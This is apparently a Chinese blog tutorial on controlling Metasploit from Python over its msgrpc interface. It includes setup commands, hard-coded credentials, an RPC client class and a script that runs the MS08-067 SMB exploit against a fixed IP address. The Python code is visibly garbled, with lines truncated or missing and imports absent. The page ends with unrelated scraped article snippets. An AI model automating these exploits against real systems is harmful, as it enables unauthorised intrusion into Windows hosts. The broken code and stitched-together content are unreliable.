Python 远程调用MetaSploit
(1)安装Python的msgpack类库。MSF官方文档中的数据序列化标准就是參照msgpack。
root@kali:~# apt-get install python-setuptools
root@kali:~# easy_install msgpack-python
(2)创建createdb_sql.txt:
create database msf;
create user msf with password 'msf123';
grant all privileges on database msf to msf;
(3)在PostgreSQL 运行上述文件:
root@kali:~# /etc/init.d/postgresql start
root@kali:~# sudo -u postgres /usr/bin/psql < createdb_sql.txt
(4)创建setup.rc文件
db_connect msf:msf123@127.0.0.1/msf
load msgrpc User=msf Pass='abc123'
(5)启动MSF并运行加载文件
root@kali:~# msfconsole -r setup.rc
* SNIP *
[*] Processing setup.rc for ERB directives.
resource (setup.rc)> db_connect msf:msf123@127.0.0.1/msf
[*] Rebuilding the module cache in the background...
resource (setup.rc)> load msgrpc User=msf Pass='abc123'
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc
(6)Github上有一个Python的类库,只是非常不好用
root@kali:~# git clone git://github.com/SpiderLabs/msfrpc.git msfrpc
root@kali:~# cd msfrpc/python-msfrpc
root@kali:~# python setup.py install
測试代码:
#!/usr/bin/env python
import msgpack
import httplib
class Msfrpc:
class MsfError(Exception):
def __init__(self,msg):
self.msg = msg
def __str__(self):
return repr(self.msg)
class MsfAuthError(MsfError):
def __init__(self,msg):
self.msg = msg
def __init__(self,opts=[]):
self.host = opts.get('host') or "127.0.0.1"
self
self.uri = opts.get('uri') or "/api/"
self.ssl = opts.get('ssl') or False
self.authenticated = False
self.token = False
self.headers = {"Content-type" : "binary/message-pack" }
if self.ssl:
self.client = httplib.HTTPSConnection(self.host,self.port)
else:
self.client = httplib.HTTPConnection(self.host,self.port)
def encode(self,data):
return msgpack.packb(data)
def decode(self,data):
return msgpack.unpackb(data)
def call(self,meth,opts = []):
if meth != "auth.login":
if not self.authenticated:
raise self.MsfAuthError("MsfRPC: Not Authenticated")
if meth != "auth.login":
opts,self.token)
opts,meth)
params = self.encode(opts)
self.client.request("POST",self.uri,params,self.headers)
resp = self.client.getresponse()
return self.decode(resp.read())
def login(self,user,password):
ret = self.call('auth.login',[user,password])
if ret.get('result') == 'success':
self.authenticated = True
self.token = ret.get('token')
return True
else:
raise self.MsfAuthError("MsfRPC: Authentication failed")
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
client = Msfrpc({})
# Login to the msfmsg server using the password "abc123"
client.login('msf','abc123')
# Get a list of the exploits from the server
mod = client.call('module.exploits')
# Grab the first item from the modules value of the returned dict
]
# Get the list of compatible payloads for the first option
ret ]])
for i in (ret.get('payloads')):
print "\t%s" % i
Console方式调用Ms08067漏洞
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
client = Msfrpc({})
# Login to the msfmsg server using the password "abc123"
client.login('msf','abc123')
try:
res = client.call('console.create')
console_id = res['id']
except:
print "Console create failed\r\n"
sys.exit()
host_list = '192.168.7.135'
cmd = """use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.7.135
exploit
"""
client.call('console.write',[console_id,cmd])
time.sleep(1)
while True:
res = client.call('console.read',[console_id])
if len(res['data']) > 1:
print res['data'],
if res['busy'] == True:
time.sleep(1)
continue
break
client.call('console.destroy',[console_id])
Python 远程调用MetaSploit的更多相关文章
- Testlink接口使用方法-python语言远程调用
deepin@deepin-pc:~/test$ cat libclienttestlink.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- #! ...
- 【转】Python中实现远程调用(RPC、RMI)简单例子
远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这些都隐藏起来了.远程调用是分布式系统的基础. 远程调用一般分为两种,远程过程调用(RPC)和远程 ...
- python调用metasploit里的MS-17-010模块进行漏洞攻击
起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编 也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了. 0x01 攻击机:192.168.223. ...
- Metasploit远程调用Nessus出错
Metasploit远程调用Nessus出错 从Nessus 7.1开始,Metaspliot远程调用Nessus创建新的扫描任务,会出现以下错误信息: [*] New scan added ...
- Python中实现远程调用(RPC、RMI)简单例子
说白了,远程调用就是将对象名.函数名.参数等传递给远程服务器,服务器将处理结果返回给客户端 远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这 ...
- JSON-RPC轻量级远程调用协议介绍及使用
这个项目能够帮助开发人员利用Java编程语言轻松实现JSON-RPC远程调用.jsonrpc4j使用Jackson类库实现Java对象与JSON对象之间的相互转换.jsonrpc4j包含一个JSON- ...
- (转)RabbitMQ消息队列(七):适用于云计算集群的远程调用(RPC)
在云计算环境中,很多时候需要用它其他机器的计算资源,我们有可能会在接收到Message进行处理时,会把一部分计算任务分配到其他节点来完成.那么,RabbitMQ如何使用RPC呢?在本篇文章中,我们将会 ...
- Python远程视频监控
Python远程视频监控程序 老板由于事务繁忙无法经常亲临教研室,于是让我搞个监控系统,让他在办公室就能看到教研室来了多少人.o(>﹏<)o||| 最初我的想法是直接去网上下个软件,可 ...
- java 远程调用 RPC
1. 概念 RPC,全称为Remote Procedure Call,即远程过程调用,它是一个计算机通信协议.它允许像调用本地服务一样调用远程服务.它可以有不同的实现方式.如RMI(远程方法调用).H ...
随机推荐
- PCB 工程系统 模拟windows域帐号登入
一.需求描述: 对于PCB制造企业来说,基本都采用建立共享目享+域名管控权限,好像别的大多数行业都是这样的吧.呵呵 在实际应用中,经常会有这样的问题,自己登入的帐号没有共享目录的权限,但又想通过程序实 ...
- Alignment(dp)
http://poj.org/problem?id=1836 求两遍最长上升子序列,顺序求一遍,逆序求一遍. #include <stdio.h> #include <string. ...
- php导出mysql源码
件名:db_backup.php 源代码如下: 复制代码 代码如下: <?php ini_set("max_execution_time", "180") ...
- word2vec改进之Hierarchical Softmax
首先Hierarchical Softmax是word2vec的一种改进方式,因为传统的word2vec需要巨大的计算量,所以该方法主要有两个改进点: 1. 对于从输入层到隐藏层的映射,没有采取神经网 ...
- JPA实体关联关系,一对一以及转换器
现有两张表 room (rid,name,address,floor) room_detail (rid,roomid,type) 需要创建房间实体,但是也要包含type属性 @Data //lamb ...
- 跳出双重for循环的案例__________跳出当前循环(continue out)
package com.etc.operator; public class demo { public static void main(String[] args) { // break out; ...
- JavaScript 判断手机端操作系统(Andorid/IOS)
androidURL = "http://xxx/xxx.apk"; var browser = { versions: function() { var u = navigato ...
- 努比亚 N1 (Nubia NX541J) 解锁BootLoader 并刷入recovery
本篇教程教你如何傻瓜式解锁BootLoader并刷入recovery 仅限于努比亚 N1 (Nubia NX541J)使用. 首先需要在设置-关于手机 找到版本号 然后手机快速连续点击来启用开发者模式 ...
- telerik:RadAsyncUpload 使用 时不执行上传事件的解决办法AsyncUpload1_FileUploaded(object sender, FileUploadedEventArgs e)
一般是因为web.config没有配置的原因! 只要在<handlers>下加上 <add name="Telerik.Web.UI.WebResource" v ...
- SLAM: Ubuntu14.04_Kylin安装ROS-Indigo
参考连接:ROS-Indigo版在Ubuntu上的安装第一步: 软件源配置 1. 增加下载源(增加ubuntu版的ros数据仓库,即下载源)(通用指令适合任何版本的ros) sudo sh -c 'e ...